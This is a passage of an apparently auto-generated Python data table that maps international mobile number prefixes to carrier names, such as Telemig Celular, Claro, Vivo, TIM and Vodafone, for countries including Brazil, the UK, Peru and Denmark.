'Telemig Celular'}, '553199867':{'en': 'Telemig Celular'}, '553199866':{'en': 'Telemig Celular'}, '553199865':{'en': 'Telemig Celular'}, '553199864':{'en': 'Telemig Celular'}, '553199733':{'en': 'Telemig Celular'}, '553199732':{'en': 'Telemig Celular'}, '553199731':{'en': 'Telemig Celular'}, '30690200':{'en': 'MI Carrier Services'}, '553199736':{'en': 'Telemig Celular'}, '553199735':{'en': 'Telemig Celular'}, '553199734':{'en': 'Telemig Celular'}, '553199739':{'en': 'Telemig Celular'}, '553199738':{'en': 'Telemig Celular'}, '187628':{'en': 'Digicel'}, '187629':{'en': 'Digicel'}, '187624':{'en': 'Digicel'}, '187625':{'en': 'Digicel'}, '187626':{'en': 'Digicel'}, '17873198':{'en': 'Claro'}, '17873199':{'en': 'Claro'}, '17873194':{'en': 'Claro'}, '17873195':{'en': 'Claro'}, '17873196':{'en': 'Claro'}, '17873197':{'en': 'Claro'}, '17873191':{'en': 'Claro'}, '17873192':{'en': 'Claro'}, '17873193':{'en': 'Claro'}, '1787978':{'en': 'CENTENNIAL'}, '502519':{'en': 'Tigo'}, '502518':{'en': 'Tigo'}, '502515':{'en': 'Tigo'}, '502514':{'en': 'Movistar'}, '502517':{'en': 'Tigo'}, '502516':{'en': 'Tigo'}, '502511':{'en': 'Telgua'}, '502510':{'en': 'Movistar'}, '502513':{'en': 'Telgua'}, '502512':{'en': 'Telgua'}, '447528':{'en': 'Orange'}, '447529':{'en': 'Orange'}, '51619619':{'en': 'Movistar'}, '447521':{'en': 'O2'}, '447522':{'en': 'O2'}, '447523':{'en': 'O2'}, '447525':{'en': 'O2'}, '447526':{'en': 'O2'}, '447527':{'en': 'Orange'}, '505899':{'en': 'Movistar'}, '505898':{'en': 'Movistar'}, '505895':{'en': 'Movistar'}, '505894':{'en': 'Claro'}, '505897':{'en': 'Movistar'}, '505896':{'en': 'Movistar'}, '505891':{'en': 'Claro'}, '505890':{'en': 'Claro'}, '505893':{'en': 'Claro'}, '505892':{'en': 'Claro'}, '554799996':{'en': 'TIM'}, '554799997':{'en': 'TIM'}, '554799994':{'en': 'TIM'}, '554799995':{'en': 'TIM'}, '554799992':{'en': 'TIM'}, '554799993':{'en': 'TIM'}, '554799991':{'en': 'TIM'}, '3519234':{'en': 'Vectone'}, '3519232':{'en': 'Vectone'}, '3519233':{'en': 'Vectone'}, '3519230':{'en': 'Vectone'}, '3519231':{'en': 'Vectone'}, '551498119':{'en': 'TIM'}, '551498118':{'en': 'TIM'}, '4474178':{'en': 'Truphone'}, '4474179':{'en': 'Core Telecom'}, '553199827':{'en': 'Telemig Celular'}, '4474174':{'en': 'Lycamobile'}, '4474175':{'en': 'Lycamobile'}, '551498113':{'en': 'TIM'}, '551498112':{'en': 'TIM'}, '551498115':{'en': 'TIM'}, '4474171':{'en': 'CardBoardFish'}, '4474172':{'en': 'Core Telecom'}, '4474173':{'en': 'Lycamobile'}, '552299101':{'en': 'Claro BR'}, '552299102':{'en': 'Claro BR'}, '552299103':{'en': 'Claro BR'}, '516796772':{'en': 'Claro'}, '552299105':{'en': 'Claro BR'}, '554198424':{'en': 'Brasil Telecom GSM'}, '551698803':{'en': 'Oi'}, '551698805':{'en': 'Oi'}, '551698804':{'en': 'Oi'}, '551698807':{'en': 'Oi'}, '551698806':{'en': 'Oi'}, '551698809':{'en': 'Oi'}, '551698808':{'en': 'Oi'}, '554198423':{'en': 'Brasil Telecom GSM'}, '551899775':{'en': 'Vivo'}, '4915080':{'en': 'Easy World'}, '55129923':{'en': 'Claro BR'}, '55129922':{'en': 'Claro BR'}, '55129921':{'en': 'Claro BR'}, '55129920':{'en': 'Claro BR'}, '389772':{'en': 'Vip'}, '389773':{'en': 'Vip'}, '389771':{'en': 'Vip'}, '389776':{'en': 'Vip'}, '389777':{'en': 'Vip'}, '389774':{'en': 'Vip'}, '389775':{'en': 'Vip'}, '389778':{'en': 'Vip'}, '389779':{'en': 'Vip'}, '4915888':{'en': 'TelcoVillage'}, '4476433':{'en': 'Yim Siam'}, '356988':{'en': 'GO Mobile'}, '553199298':{'en': 'TIM'}, '553199299':{'en': 'TIM'}, '356981':{'en': 'Redtouch Fone'}, '553199295':{'en': 'TIM'}, '553199296':{'en': 'TIM'}, '553199297':{'en': 'TIM'}, '553199291':{'en': 'TIM'}, '553199292':{'en': 'TIM'}, '553199293':{'en': 'TIM'}, '1939214':{'en': 'CENTENNIAL'}, '5531985':{'en': 'Oi'}, '5531986':{'en': 'Oi'}, '5531987':{'en': 'Oi'}, '554799935':{'en': 'TIM'}, '55439996':{'en': 'TIM'}, '5531983':{'en': 'Claro BR'}, '30695200':{'en': 'Compatel'}, '5531988':{'en': 'Oi'}, '5531989':{'en': 'Oi'}, '1787219':{'en': 'Claro'}, '1787218':{'en': 'Claro'}, '1787217':{'en': 'Claro'}, '1787216':{'en': 'Claro'}, '1787215':{'en': 'Claro'}, '1787214':{'en': 'Claro'}, '1787213':{'en': 'Claro'}, '1787212':{'en': 'Claro'}, '1787210':{'en': 'SunCom Wireless Puerto Rico'}, '5119807':{'en': 'Claro'}, '5119806':{'en': 'Claro'}, '5119805':{'en': 'Claro'}, '553898419':{'en': 'Claro BR'}, '1345549':{'en': 'Digicel'}, '1345548':{'en': 'Digicel'}, '5119801':{'en': 'Movistar'}, '1345547':{'en': 'Digicel'}, '1345546':{'en': 'Digicel'}, '455262':{'en': 'CBB Mobil'}, '5119808':{'en': 'Claro'}, '553499217':{'en': 'TIM'}, '553499216':{'en': 'TIM'}, '553499215':{'en': 'TIM'}, '553499214':{'en': 'TIM'}, '553499213':{'en': 'TIM'}, '553499212':{'en': 'TIM'}, '553499211':{'en': 'TIM'}, '553499218':{'en': 'TIM'}, '26263919':{'en': 'Only'}, '553798408':{'en': 'Claro BR'}, '553798409':{'en': 'Claro BR'}, '553798404':{'en': 'Claro BR'}, '553798405':{'en': 'Claro BR'}, '26263911':{'en': 'SFR'}, '26263910':{'en': 'SFR'}, '459118':{'en': 'Companymobile'}, '553798402':{'en': 'Claro BR'}, '553798403':{'en': 'Claro BR'}, '5119803':{'en': 'Movistar'}, '5119802':{'en': 'Movistar'}, '459112':{'en': 'SimService'}, '459113':{'en': 'SimService'}, '455266':{'en': 'CBB Mobil'}, '2348490':{'en': 'Starcomms'}, '554698823':{'en': 'Claro BR'}, '459116':{'en': 'Companymobile'}, '553398407':{'en': 'Claro BR'}, '47454':{'en': 'NetCom'}, '459114':{'en': 'SimService'}, '48724':{'en': 'Plus'}, '48725':{'en': 'Plus'}, '48726':{'en': 'Plus'}, '459115':{'en': 'Companymobile'}, '48721':{'en': 'Plus'}, '48722':{'en': 'Plus'}, '48723':{'en': 'Plus'}, '551799701':{'en': 'Vivo'}, '551197089':{'en': 'Vivo'}, '551699767':{'en': 'Vivo'}, '551699766':{'en': 'Vivo'}, '551699765':{'en': 'Vivo'}, '551699764':{'en': 'Vivo'}, '551699763':{'en': 'Vivo'}, '551699762':{'en': 'Vivo'}, '551699761':{'en': 'Vivo'}, '551699769':{'en': 'Vivo'}, '551699768':{'en': 'Vivo'}, '553199322':{'en': 'TIM'}, '551799706':{'en': 'Vivo'}, '31614':{'en': 'T-Mobile'}, '31615':{'en': 'Vodafone Libertel B.V.'}, '31616':{'en': 'Telfort'}, '31617':{'en': 'Telfort'}, '31610':{'en': 'KPN'}, '31611':{'en': 'Vodafone Libertel B.V.'}, '31612':{'en': 'KPN'}, '31613':{'en': 'KPN'}, '552899982':{'en': 'Vivo'}, '552899983':{'en': 'Vivo'}, '552899981':{'en': 'Vivo'}, '552899986':{'en': 'Vivo'}, '552899987':{'en': 'Vivo'}, '552899984':{'en': 'Vivo'}, '552899985':{'en': 'Vivo'}, '389787':{'en': 'Vip'}, '551799707':{'en': 'Vivo'}, '516496490':{'en': 'Movistar'}, '34640':{'en': 'Orange'}, '554598813':{'en': 'Claro BR'}, '34642':{'en': 'DigiMobil'}, '389784':{'en': 'Vip'}, '34644':{'en': 'Simyo'}, '34645':{'en': 'Orange'}, '34646':{'en': 'Movistar'}, '34647':{'en': 'Vodafone'}, '34648':{'en': 'Movistar'}, '34649':{'en': 'Movistar'}, '554598818':{'en': 'Claro BR'}, '554598819':{'en': 'Claro BR'}, '553299118':{'en': 'TIM'}, '553299119':{'en': 'TIM'}, '389781':{'en': 'Vip'}, '553299112':{'en': 'TIM'}, '553299113':{'en': 'TIM'}, '553299111':{'en': 'TIM'}, '553299116':{'en': 'TIM'}, '553299117':{'en': 'TIM'}, '553299114':{'en': 'TIM'}, '553299115':{'en': 'TIM'}, '51629629':{'en': 'Movistar'}, '51629626':{'en': 'Movistar'}, '22560':{'en': 'GreenN'}, '22561':{'en': 'GreenN'}, '22566':{'en': 'MTN'}, '22567':{'en': 'Orange'}, '22564':{'en': 'MTN'}, '22565':{'en': 'MTN'}, '22568':{'en': 'Orange'}, '22569':{'en': 'Aircom'}, '267743':{'en': 'Orange'}, '267744':{'en': 'Orange'}, '267748':{'en': 'Orange'}, '267749':{'en': 'BTC Mobile'}, '554599149':{'en': 'Vivo'}, '554599148':{'en': 'Vivo'}, '554599147':{'en': 'Vivo'}, '554599146':{'en': 'Vivo'}, '554599145':{'en': 'Vivo'}, '554599144':{'en': 'Vivo'}, '554599143':{'en': 'Vivo'}, '554599142':{'en': 'Vivo'}, '554599141':{'en': 'Vivo'}, '554699121':{'en': 'Vivo'}, '551698148':{'en': 'TIM'}, '551698149':{'en': 'TIM'}, '22788':{'en': 'Airtel'}, '22789':{'en': 'Airtel'}, '551698144':{'en': 'TIM'}, '551698145':{'en': 'TIM'}, '551698146':{'en': 'TIM'}, '551698147':{'en': 'TIM'}, '551698141':{'en': 'TIM'}, '22780':{'en': 'Orange'}, '551698143':{'en': 'TIM'}, '447832':{'en': 'Three'}, '447833':{'en': 'Vodafone'}, '447830':{'en': 'Three'}, '447831':{'en': 'Vodafone'}, '447836':{'en': 'Vodafone'}, '447837':{'en': 'Orange'}, '447834':{'en': 'O2'}, '447835':{'en': 'O2'}, '447838':{'en': 'Three'}, '554198429':{'en': 'Brasil Telecom GSM'}, '554198428':{'en': 'Brasil Telecom GSM'}, '4476633':{'en': 'Syntec'}, '34675':{'en': 'Orange'}, '22584':{'en': 'MTN'}, '22585':{'en': 'MTN'}, '553599948':{'en': 'Telemig Celular'}, '553599949':{'en': 'Telemig Celular'}, '51769768':{'en': 'Movistar'}, '51769767':{'en': 'Movistar'}, '51769766':{'en': 'Movistar'}, '553599942':{'en': 'Telemig Celular'}, '346038':{'en': 'Vodafone'}, '51769763':{'en': 'Claro'}, '553599945':{'en': 'Telemig Celular'}, '553599946':{'en': 'Telemig Celular'}, '553599947':{'en': 'Telemig Celular'}, '372538':{'en': 'EMT'}, '372539':{'en': 'EMT'}, '372533':{'en': 'EMT'}, '372530':{'en': 'EMT'}, '372536':{'en': 'EMT'}, '372537':{'en': 'EMT'}, '372534':{'en': 'EMT'}, '551298119':{'en': 'TIM'}, '51519509':{'en': 'Movistar'}, '551298113':{'en': 'TIM'}, '551298112':{'en': 'TIM'}, '551298111':{'en': 'TIM'}, '551298117':{'en': 'TIM'}, '551298116':{'en': 'TIM'}, '551298115':{'en': 'TIM'}, '551298114':{'en': 'TIM'}, '553798407':{'en': 'Claro BR'}, '554399192':{'en': 'Vivo'}, '554399193':{'en': 'Vivo'}, '554399191':{'en': 'Vivo'}, '554399194':{'en': 'Vivo'}, '553798401':{'en': 'Claro BR'}, '386689':{'en': 'A1'}, '386686':{'en': 'A1'}, '386681':{'en': 'A1'}, '551999771':{'en': 'Vivo'}, '551999773':{'en': 'Vivo'}, '5037072':{'en': 'Digicel'}, '551999775':{'en': 'Vivo'}, '551999774':{'en': 'Vivo'}, '551999777':{'en': 'Vivo'}, '551999776':{'en': 'Vivo'}, '551999779':{'en': 'Vivo'}, '551999778':{'en': 'Vivo'}, '55359997':{'en': 'Telemig Celular'}, '55359996':{'en': 'Telemig Celular'}, '55359998':{'en': 'Telemig Celular'}, '2348488':{'en': 'Starcomms'}, '2348489':{'en': 'Starcomms'}, '552898114':{'en': 'TIM'}, '552898115':{'en': 'TIM'}, '552898112':{'en': 'TIM'}, '552898113':{'en': 'TIM'}, '552898111':{'en': 'TIM'}, '2348480':{'en': 'Starcomms'}, '2348481':{'en': 'Starcomms'}, '2348484':{'en': 'Starcomms'}, '2348485':{'en': 'Starcomms'}, '2348486':{'en': 'Starcomms'}, '552898119':{'en': 'TIM'}, '552198411':{'en': 'Oi'}, '30690199':{'en': 'BWS'}, '55329846':{'en': 'Claro BR'}, '55329847':{'en': 'Claro BR'}, '55329844':{'en': 'Claro BR'}, '55329845':{'en': 'Claro BR'}, '55329842':{'en': 'Claro BR'}, '55329843':{'en': 'Claro BR'}, '336008':{'en': 'Orange France'}, '336009':{'en': 'Bouygues'}, '551398161':{'en': 'TIM'}, '336007':{'en': 'SFR'}, '336002':{'en': 'SFR'}, '336003':{'en': 'Bouygues'}, '336001':{'en': 'Orange France'}, '553199881':{'en': 'Telemig Celular'}, '553199883':{'en': 'Telemig Celular'}, '552198419':{'en': 'Oi'}, '553199885':{'en': 'Telemig Celular'}, '553199884':{'en': 'Telemig Celular'}, '553199887':{'en': 'Telemig Celular'}, '553199886':{'en': 'Telemig Celular'}, '553199889':{'en': 'Telemig Celular'}, '553199888':{'en': 'Telemig Celular'}, '40711':{'en': 'Telekom'}, '40712':{'en': '2K Telecom'}, '553799968':{'en': 'Telemig Celular'}, '553799969':{'en': 'Telemig Celular'}, '553799961':{'en': 'Telemig Celular'}, '553799962':{'en': 'Telemig Celular'}, '553799963':{'en': 'Telemig Celular'}, '553799964':{'en': 'Telemig Celular'}, '553799965':{'en': 'Telemig Celular'}, '553799966':{'en': 'Telemig Celular'}, '553799967':{'en': 'Telemig Celular'}, '553199874':{'en': 'Telemig Celular'}, '553199875':{'en': 'Telemig Celular'}, '1787486':{'en': 'Claro'}, '553199876':{'en': 'Telemig Celular'}, '1787487':{'en': 'Claro'}, '552299258':{'en': 'Claro BR'}, '553199877':{'en': 'Telemig Celular'}, '234908':{'en': '9mobile'}, '234909':{'en': '9mobile'}, '234906':{'en': 'MTN'}, '234907':{'en': 'Airtel'}, '234905':{'en': 'Glo'}, '234902':{'en': 'Airtel'}, '234903':{'en': 'MTN'}, '553199871':{'en': 'Telemig Celular'}, '553199392':{'en': 'TIM'}, '553199395':{'en': 'TIM'}, '553199397':{'en': 'TIM'}, '553199396':{'en': 'TIM'}, '553199726':{'en': 'Telemig Celular'}, '549341':{'en': 'Personal'}, '552299251':{'en': 'Claro BR'}, '552299252':{'en': 'Claro BR'}, '552299253':{'en': 'Claro BR'}, '549345':{'en': 'Personal'}, '27664':{'en': 'Vodacom'}, '27665':{'en': 'Vodacom'}, '27662':{'en': 'Vodacom'}, '27663':{'en': 'Vodacom'}, '27660':{'en': 'Vodacom'}, '27661':{'en': 'Vodacom'}, '552299256':{'en': 'Claro BR'}, '551498139':{'en': 'TIM'}, '47452':{'en': 'NetCom'}, '551498137':{'en': 'TIM'}, '551498136':{'en': 'TIM'}, '551498135':{'en': 'TIM'}, '551498134':{'en': 'TIM'}, '551498133':{'en': 'TIM'}, '551498132':{'en': 'TIM'}, '502539':{'en': 'Movistar'}, '503776':{'en': 'Digicel'}, '503777':{'en': 'Digicel'}, '503774':{'en': 'Claro'}, '503775':{'en': 'Claro'}, '503772':{'en': 'Tigo'}, '503773':{'en': 'Tigo'}, '503770':{'en': 'Movistar'}, '503771':{'en': 'Movistar'}, '553199728':{'en': 'Telemig Celular'}, '553199729':{'en': 'Telemig Celular'}, '347225':{'en': 'Yoigo'}, '551698823':{'en': 'Oi'}, '551698822':{'en': 'Oi'}, '551698821':{'en': 'Oi'}, '551698820':{'en': 'Oi'}, '50683':{'en': 'Kolbi ICE'}, '553199319':{'en': 'TIM'}, '553199318':{'en': 'TIM'}, '389758':{'en': 'Vip'}, '389759':{'en': 'Vip'}, '389754':{'en': 'Vip'}, '389755':{'en': 'Vip'}, '389756':{'en': 'Vip'}, '389757':{'en': 'Vip'}, '553199315':{'en': 'TIM'}, '553199314':{'en': 'TIM'}, '389752':{'en': 'Vip'}, '389753':{'en': 'Vip'}, '51679674':{'en': 'Claro'}, '5119751':{'en': 'Movistar'}, '551899711':{'en': 'Vivo'}, '5119750':{'en': 'Movistar'}, '552798168':{'en': 'TIM'}, '551899712':{'en': 'Vivo'}, '457194':{'en': 'Telenor'}, '457195':{'en': 'Telenor'}, '457196':{'en': 'Mundio Mobile'}, '457197':{'en': 'Mundio Mobile'}, '457190':{'en': 'Phone-IT'}, '457191':{'en': 'Telecom X'}, '457192':{'en': 'Justfone'}, '457193':{'en': 'CBB Mobil'}, '2347023':{'en': 'Zoom'}, '2347022':{'en': 'Ntel'}, '2347021':{'en': 'Ntel'}, '2347020':{'en': 'Smile'}, '4476411':{'en': 'Orange'}, '457199':{'en': 'Firmafon'}, '2347025':{'en': 'Visafone'}, '2347024':{'en': 'Prestel'}, '552798169':{'en': 'TIM'}, '354637':{'en': u('\u00d6ryggisfjarskipti')}, '2359':{'en': 'Millicom'}, '354630':{'en': 'IMC'}, '354632':{'en': 'Tismi'}, '354639':{'en': u('\u00d6ryggisfjarskipti')}, '354638':{'en': u('\u00d6ryggisfjarskipti')}, '458195':{'en': 'CBB Mobil'}, '458194':{'en': 'Lebara Limited'}, '458197':{'en': 'CBB Mobil'}, '458196':{'en': 'CBB Mobil'}, '458191':{'en': 'Lebara Limited'}, '458190':{'en': 'Lebara Limited'}, '458193':{'en': 'Lebara Limited'}, '458192':{'en': 'Lebara Limited'}, '458199':{'en': 'Banedanmark'}, '458198':{'en': 'CBB Mobil'}, '2136':{'en': 'Mobilis'}, '2135':{'en': 'Ooredoo'}, '230595':{'en': 'MTML'}, '230594':{'en': 'Cellplus'}, '230597':{'en': 'Emtel'}, '230596':{'en': 'MTML'}, '230591':{'en': 'Cellplus'}, '230590':{'en': 'Cellplus'}, '230593':{'en': 'Emtel'}, '230592':{'en': 'Cellplus'}, '43650':{'en': 'tele.ring'}, '554198406':{'en': 'Brasil Telecom GSM'}, '230598':{'en': 'Emtel'}, '551599169':{'en': 'Claro BR'}, '515495840':{'en': 'Movistar'}, '515495841':{'en': 'Movistar'}, '515495842':{'en': 'Movistar'}, '515495843':{'en': 'Movistar'}, '554198408':{'en': 'Brasil Telecom GSM'}, '551598141':{'en': 'TIM'}, '551197995':{'en': 'Oi'}, '551197994':{'en': 'Oi'}, '551197993':{'en': 'Oi'}, '551197992':{'en': 'Oi'}, '551197991':{'en': 'Oi'}, '551197990':{'en': 'Oi'}, '26263930':{'en': 'BJT'}, '26263939':{'en': 'Only'}, '552299761':{'en': 'Vivo'}, '552299762':{'en': 'Vivo'}, '552299763':{'en': 'Vivo'}, '552299764':{'en': 'Vivo'}, '552299765':{'en': 'Vivo'}, '552299766':{'en': 'Vivo'}, '552299767':{'en': 'Vivo'}, '447534':{'en': 'EE'}, '554399168':{'en': 'Vivo'}, '554399612':{'en': 'TIM'}, '447538':{'en': 'EE'}, '33634':{'en': 'SFR'}, '33635':{'en': 'SFR'}, '147341':{'en': 'Digicel Grenada'}, '51619627':{'en': 'Claro'}, '24493':{'en': 'UNITEL'}, '554399133':{'en': 'Vivo'}, '552799236':{'en': 'Claro BR'}, '552899988':{'en': 'Vivo'}, '553299131':{'en': 'TIM'}, '553299132':{'en': 'TIM'}, '552899989':{'en': 'Vivo'}, '553299134':{'en': 'TIM'}, '553299135':{'en': 'TIM'}, '553299136':{'en': 'TIM'}, '553299137':{'en': 'TIM'}, '553299138':{'en': 'TIM'}, '553299139':{'en': 'TIM'}, '551599162':{'en': 'Claro BR'}, '447489':{'en': 'O2'}, '447488':{'en': 'Three'}, '515395350':{'en': 'Claro'}, '515395352':{'en': 'Movistar'}, '447482':{'en': 'Three'}, '447481':{'en': 'Three'}, '447480':{'en': 'Three'}, '551699709':{'en': 'Vivo'}, '551699708':{'en': 'Vivo'}, '551699705':{'en': 'Vivo'}, '551699704':{'en': 'Vivo'}, '551699707':{'en': 'Vivo'}, '551699706':{'en': 'Vivo'}, '551699701':{'en': 'Vivo'}, '551699703':{'en': 'Vivo'}, '551699702':{'en': 'Vivo'}, '22548':{'en': 'Orange'}, '22549':{'en': 'Orange'}, '22540':{'en': 'Moov'}, '22541':{'en': 'Moov'}, '22542':{'en': 'Moov'}, '22543':{'en': 'Moov'}, '22544':{'en': 'MTN'}, '22545':{'en': 'MTN'}, '22546':{'en': 'MTN'}, '22547':{'en': 'Orange'}, '381677':{'en': 'GLOBALTEL'}, '553399971':{'en': 'Telemig Celular'}, '381678':{'en': 'Vectone Mobile'}, '554599125':{'en': 'Vivo'}, '50240':{'en': 'Tigo'}, '554599127':{'en': 'Vivo'}, '554599126':{'en': 'Vivo'}, '554599121':{'en': 'Vivo'}, '554599123':{'en': 'Vivo'}, '554599122':{'en': 'Vivo'}, '554599129':{'en': 'Vivo'}, '554599128':{'en': 'Vivo'}, '551699722':{'en': 'Vivo'}, '474690':{'en': 'Telenor'}, '474691':{'en': 'Telenor'}, '474692':{'en': 'Telenor'}, '474693':{'en': 'Telenor'}, '474694':{'en': 'Telenor'}, '474695':{'en': 'Telenor'}, '474696':{'en': 'Telenor'}, '554598831':{'en': 'Claro BR'}, '554598832':{'en': 'Claro BR'}, '554598833':{'en': 'Claro BR'}, '554598834':{'en': 'Claro BR'}, '554598835':{'en': 'Claro BR'}, '554598836':{'en': 'Claro BR'}, '554598837':{'en': 'Claro BR'}, '554198449':{'en': 'Brasil Telecom GSM'}, '554198448':{'en': 'Brasil Telecom GSM'}, '554198445':{'en': 'Brasil Telecom GSM'}, '554198444':{'en': 'Brasil Telecom GSM'}, '514394324':{'en': 'Movistar'}, '554198446':{'en': 'Brasil Telecom GSM'}, '514394322':{'en': 'Movistar'}, '514394323':{'en': 'Movistar'}, '514394320':{'en': 'Movistar'}, '514394321':{'en': 'Movistar'}, '515495893':{'en': 'Movistar'}, '447818':{'en': 'Vodafone'}, '447819':{'en': 'O2'}, '447810':{'en': 'Vodafone'}, '553499983':{'en': 'Telemig Celular'}, '515495892':{'en': 'Movistar'}, '554598812':{'en': 'Claro BR'}, '553499982':{'en': 'Telemig Celular'}, '553599928':{'en': 'Telemig Celular'}, '553599929':{'en': 'Telemig Celular'}, '553599926':{'en': 'Telemig Celular'}, '553599927':{'en': 'Telemig Celular'}, '553599924':{'en': 'Telemig Celular'}, '553599925':{'en': 'Telemig Celular'}, '553599922':{'en': 'Telemig Celular'}, '372519':{'en': 'EMT'}, '553599921':{'en': 'Telemig Celular'}, '55119664':{'en': 'Claro BR'}, '55119663':{'en': 'Claro BR'}, '55119662':{'en': 'Claro BR'}, '55119661':{'en': 'Claro BR'}, '55119660':{'en': 'Claro BR'}, '554598816':{'en': 'Claro BR'}, '553199312':{'en': 'TIM'}, '553799924':{'en': 'Telemig Celular'}, '554598814':{'en': 'Claro BR'}, '554598815':{'en': 'Claro BR'}, '30695290':{'en': 'MI Carrier Services'}, '25279':{'en': 'Somtel'}, '1939242':{'en': 'Claro'}, '1939240':{'en': 'SunCom Wireless Puerto Rico'}, '1939247':{'en': 'Claro'}, '1939246':{'en': 'Claro'}, '1939245':{'en': 'Claro'}, '1939244':{'en': 'Claro'}, '1939249':{'en': 'Claro'}, '1939248':{'en': 'Claro'}, '551999757':{'en': 'Vivo'}, '551999756':{'en': 'Vivo'}, '551999755':{'en': 'Vivo'}, '551999754':{'en': 'Vivo'}, '551999753':{'en': 'Vivo'}, '551999752':{'en': 'Vivo'}, '551999751':{'en': 'Vivo'}, '551999759':{'en': 'Vivo'}, '551999758':{'en': 'Vivo'}, '553799927':{'en': 'Telemig Celular'}, '2659':{'en': 'Airtel'}, '2658':{'en': 'TNM'}, '551599201':{'en': 'Claro BR'}, '551799634':{'en': 'Vivo'}, '4525984':{'en': 'CoolTEL'}, '4525985':{'en': '42 Telecom AB'}, '4525986':{'en': '42 Telecom AB'}, '4525987':{'en': 'Netfors Unified Messaging'}, '4525980':{'en': 'Uni-tel'}, '4525981':{'en': 'MobiWeb Limited'}, '4525982':{'en': 'Jay.net'}, '4525983':{'en': '42 Telecom AB'}, '551799632':{'en': 'Vivo'}, '4525988':{'en': 'CoolTEL'}, '4525989':{'en': 'Ipnordic'}, '552498129':{'en': 'TIM'}, '551799633':{'en': 'Vivo'}, '551799631':{'en': 'Vivo'}, '459340':{'en': 'Justfone'}, '1939865':{'en': 'SunCom Wireless Puerto Rico'}, '1758520':{'en': 'Digicel'}, '551899742':{'en': 'Vivo'}, '39370':{'en': 'TIM'}, '346434':{'en': 'DigiMobil'}, '346435':{'en': 'DigiMobil'}, '346436':{'en': 'DigiMobil'}, '346430':{'en': 'DigiMobil'}, '346431':{'en': 'DigiMobil'}, '346432':{'en': 'DigiMobil'}, '346433':{'en': 'DigiMobil'}, '551398147':{'en': 'TIM'}, '551398146':{'en': 'TIM'}, '551398145':{'en': 'TIM'}, '551398144':{'en': 'TIM'}, '551398143':{'en': 'TIM'}, '551398142':{'en': 'TIM'}, '551398141':{'en': 'TIM'}, '459123':{'en': 'Companymobile'}, '459122':{'en': 'Companymobile'}, '459121':{'en': 'SimService'}, '459120':{'en': 'Tismi BV'}, '459127':{'en': 'Mundio Mobile'}, '459126':{'en': 'Mundio Mobile'}, '459125':{'en': 'Companymobile'}, '459124':{'en': 'Companymobile'}, '459129':{'en': 'Mundio Mobile'}, '459128':{'en': 'Mundio Mobile'}, '552899883':{'en': 'Vivo'}, '552899882':{'en': 'Vivo'}, '552899881':{'en': 'Vivo'}, '474723':{'en': 'Tele2'}, '552899886':{'en': 'Vivo'}, '552899885':{'en': 'Vivo'}, '552899884':{'en': 'Vivo'}, '474727':{'en': 'Tele2'}, '38671':{'en': 'Telekom Slovenije'}, '38670':{'en': 'Telemach'}, '1767611':{'en': 'Digicel'}, '553799908':{'en': 'Telemig Celular'}, '553799909':{'en': 'Telemig Celular'}, '553799906':{'en': 'Telemig Celular'}, '553799907':{'en': 'Telemig Celular'}, '553799904':{'en': 'Telemig Celular'}, '553799905':{'en': 'Telemig Celular'}, '553799902':{'en': 'Telemig Celular'}, '553799903':{'en': 'Telemig Celular'}, '553799901':{'en': 'Telemig Celular'}, '479403':{'en': 'Telenor'}, '479405':{'en': 'Telenor'}, '551899758':{'en': 'Vivo'}, '2626392':{'en': 'SFR'}, '212684':{'en': u('M\u00e9ditel')}, '212687':{'en': 'Inwi'}, '553299946':{'en': 'Telemig Celular'}, '212681':{'en': 'Inwi'}, '212680':{'en': 'Inwi'}, '212682':{'en': 'Maroc Telecom'}, '212689':{'en': 'Maroc Telecom'}, '212688':{'en': u('M\u00e9ditel')}, '27644':{'en': 'Cell C'}, '27645':{'en': 'Cell C'}, '27646':{'en': 'Vodacom'}, '27647':{'en': 'Vodacom'}, '27640':{'en': 'MTN'}, '27641':{'en': 'Cell C'}, '27642':{'en': 'Cell C'}, '27643':{'en': 'Cell C'}, '554799958':{'en': 'TIM'}, '554799959':{'en': 'TIM'}, '27648':{'en': 'Vodacom'}, '27649':{'en': 'Vodacom'}, '51849849':{'en': 'Movistar'}, '51849848':{'en': 'Movistar'}, '554299962':{'en': 'TIM'}, '553799929':{'en': 'Telemig Celular'}, '51849841':{'en': 'Claro'}, '51849843':{'en': 'Claro'}, '51849842':{'en': 'Claro'}, '51849845':{'en': 'Movistar'}, '51849844':{'en': 'Claro'}, '51849847':{'en': 'Claro'}, '51849846':{'en': 'Movistar'}, '502551':{'en': 'Telgua'}, '502550':{'en': 'Movistar'}, '551498157':{'en': 'TIM'}, '502552':{'en': 'Tigo'}, '502555':{'en': 'Telgua'}, '502554':{'en': 'Movistar'}, '502557':{'en': 'Telgua'}, '502556':{'en': 'Telgua'}, '502559':{'en': 'Telgua'}, '502558':{'en': 'Telgua'}, '25292':{'en': 'STG'}, '551498159':{'en': 'TIM'}, '551498158':{'en': 'TIM'}, '554199189':{'en': 'Vivo'}, '554199188':{'en': 'Vivo'}, '554199187':{'en': 'Vivo'}, '554199186':{'en': 'Vivo'}, '554199185':{'en': 'Vivo'}, '554199184':{'en': 'Vivo'}, '554199183':{'en': 'Vivo'}, '554199182':{'en': 'Vivo'}, '554199181':{'en': 'Vivo'}, '553899152':{'en': 'TIM'}, '1787545':{'en': 'CENTENNIAL'}, '45409':{'en': 'Telenor'}, '55149980':{'en': 'Vivo'}, '554399127':{'en': 'Vivo'}, '507697':{'en': u('Telef\u00f3nica M\u00f3viles')}, '507693':{'en': u('Telef\u00f3nica M\u00f3viles')}, '507692':{'en': u('Telef\u00f3nica M\u00f3viles')}, '553199337':{'en': 'TIM'}, '553199336':{'en': 'TIM'}, '553199335':{'en': 'TIM'}, '553199334':{'en': 'TIM'}, '553199333':{'en': 'TIM'}, '553199332':{'en': 'TIM'}, '553199331':{'en': 'TIM'}, '554399124':{'en': 'Vivo'}, '554399123':{'en': 'Vivo'}, '554399122':{'en': 'Vivo'}, '551899729':{'en': 'Vivo'}, '551899728':{'en': 'Vivo'}, '55439880':{'en': 'Claro BR'}, '55199974':{'en': 'Vivo'}, '55199973':{'en': 'Vivo'}, '55199972':{'en': 'Vivo'}, '55199971':{'en': 'Vivo'}, '55199970':{'en': 'Vivo'}, '551899721':{'en': 'Vivo'}, '551899723':{'en': 'Vivo'}, '551899722':{'en': 'Vivo'}, '551899725':{'en': 'Vivo'}, '551899724':{'en': 'Vivo'}, '551899727':{'en': 'Vivo'}, '551899726':{'en': 'Vivo'}, '553199258':{'en': 'TIM'}, '553199259':{'en': 'TIM'}, '5519981':{'en': 'TIM'}, '553199251':{'en': 'TIM'}, '553199252':{'en': 'TIM'}, '553199253':{'en': 'TIM'}, '553199254':{'en': 'TIM'}, 